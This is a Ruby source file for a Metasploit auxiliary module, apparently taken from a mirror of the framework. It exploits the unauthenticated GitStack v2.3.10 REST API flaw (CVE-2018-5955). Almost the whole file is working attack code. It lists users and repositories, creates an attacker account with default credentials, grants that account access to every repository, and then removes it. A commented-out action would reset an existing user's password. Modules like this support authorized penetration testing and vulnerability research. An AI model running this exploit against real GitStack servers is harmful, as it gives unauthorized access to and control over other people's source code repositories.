Files
metasploit-gs/modules/auxiliary/admin/http/gitstack_rest.rb
T
2018-02-26 06:04:38 -06:00

273 lines
8.2 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'GitStack v2.3.10 REST API User Requests',
'Description' => %q{
This modules exploits unauthenticated REST API requests on GitStack v2.3.10.
The module supports requests for listing users of the application and listing
available repositories. Additionally, the module can create a user and add the
user to the application's repositories. Earlier versions of GitStack may be affected.
},
'Author' =>
[
'Kacper Szurek', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2018-5955'],
['EDB', '43777'],
['EDB', '44044']
],
'DisclosureDate' => 'Jan 15 2018',
'Actions' =>
[
[
'LIST',
{
'Description' => 'List application users',
'Method' => 'GET',
'UserPath' => '/rest/user/'
}
],
[
'CREATE',
{
'Description' => 'Create a user on the application',
'Method' => 'POST',
'List' => 'GET',
'UserPath' => '/rest/user/',
'RepoPath' => '/rest/repository/'
}
],
# If this is uncommented, you will be able to change an
# existing user's password.
# After modifying the user's password, the user will be
# added to all available repositories.
# The cleanup action removes the user from all repositories
# and then deletes the user... so this action may not be desirable.
#[
#'MODIFY',
#{
#'Description' => "Change the application user's password",
#'Method' => 'PUT',
#'UserPath' => '/rest/user/'
#}
#],
[
'LIST_REPOS',
{
'Description' => 'List available repositories',
'Method' => 'GET',
'RepoPath' => '/rest/repository/'
}
],
[
'CLEANUP',
{
'Description' => 'Remove user from repositories and delete user',
'List' => 'GET',
'Remove' => 'DELETE',
'RepoPath' => '/rest/repository/',
'UserPath' => '/rest/user/'
}
]
],
'DefaultAction' => 'LIST'))
register_options(
[
OptInt.new('RPORT', [true, 'The target port', 80]),
OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),
OptString.new('PASSWORD', [false, 'Password for user', 'password'])
])
end
def get_list
path = action.name =~ /REPOS/ ? action.opts['RepoPath'] : action.opts['UserPath']
message = action.name =~ /REPOS/ ? "Repo List" : "User List"
begin
res = send_request_cgi({
'uri' => normalize_uri(path),
'method' => action.opts['Method']
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
if res && res.code == 200
print_status("#{message}:")
begin
mylist = JSON.parse(res.body)
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
mylist.each do |item|
if ["LIST"].include?(action.name)
print_good("#{item}")
else
print_good("#{item['name']}")
end
end
end
end
def clean_app
path = action.opts['RepoPath']
# Get all of the repository names
begin
res = send_request_cgi({
'uri' => normalize_uri(path),
'method' => action.opts['List']
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
# Parse the repository names
if res && res.code == 200
begin
mylist = JSON.parse(res.body)
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
else
print_error("Failed: #{res.body}")
return
end
# Remove user from each repository
mylist.each do |item|
path = action.opts['RepoPath'] + item['name'] + '/user/' + datastore['USERNAME'] + '/'
begin
res = send_request_cgi({
'uri' => normalize_uri(path),
'method' => action.opts['Remove']
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
if res && res.code == 200
print_good("#{res.body}")
else
print_status("User #{datastore['USERNAME']} doesn't have access to #{item['name']}")
end
end
# Delete the user account
path = action.opts['UserPath'] + datastore['USERNAME'] + '/'
begin
res = send_request_cgi({
'uri' => normalize_uri(path),
'method' => action.opts['Remove']
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
# Check if the account was successfully deleted
if res && res.code == 200
print_good("#{res.body}")
else
print_error("#{res.body}")
end
end
def add_user
user = datastore['USERNAME']
pass = datastore['PASSWORD']
begin
data = 'username=' << user << '&password=' << pass
res = send_request_cgi({
'uri' => normalize_uri(action.opts['UserPath']),
'method' => action.opts['Method'],
'encode' => true,
'data' => data
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
if res && res.code == 200
print_good("SUCCESS: #{user}:#{pass}")
else
print_error("#{res.body}")
return
end
# Make a request for the repositories
begin
res = send_request_cgi({
'uri' => normalize_uri(action.opts['RepoPath']),
'method' => action.opts['List']
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
if res && res.code == 200
begin
mylist = JSON.parse(res.body)
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
# Loop over repositories and add the user to it
mylist.each do |item|
path = action.opts['RepoPath'] + item['name'] + '/user/' + user + '/'
begin
res = send_request_cgi({
'uri' => normalize_uri(path),
'method' => action.opts['Method']
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
next
end
if res && res.code == 200
print_good("#{res.body}")
else
print_error("Failed to add user")
print_error("#{res.body}")
end
end
end
end
def run
if ["LIST","LIST_REPOS"].include?(action.name)
get_list
elsif ["CLEANUP"].include?(action.name)
clean_app
elsif datastore['USERNAME'] && datastore['PASSWORD']
add_user
else
print_error("USERNAME and PASSWORD required")
end
end
end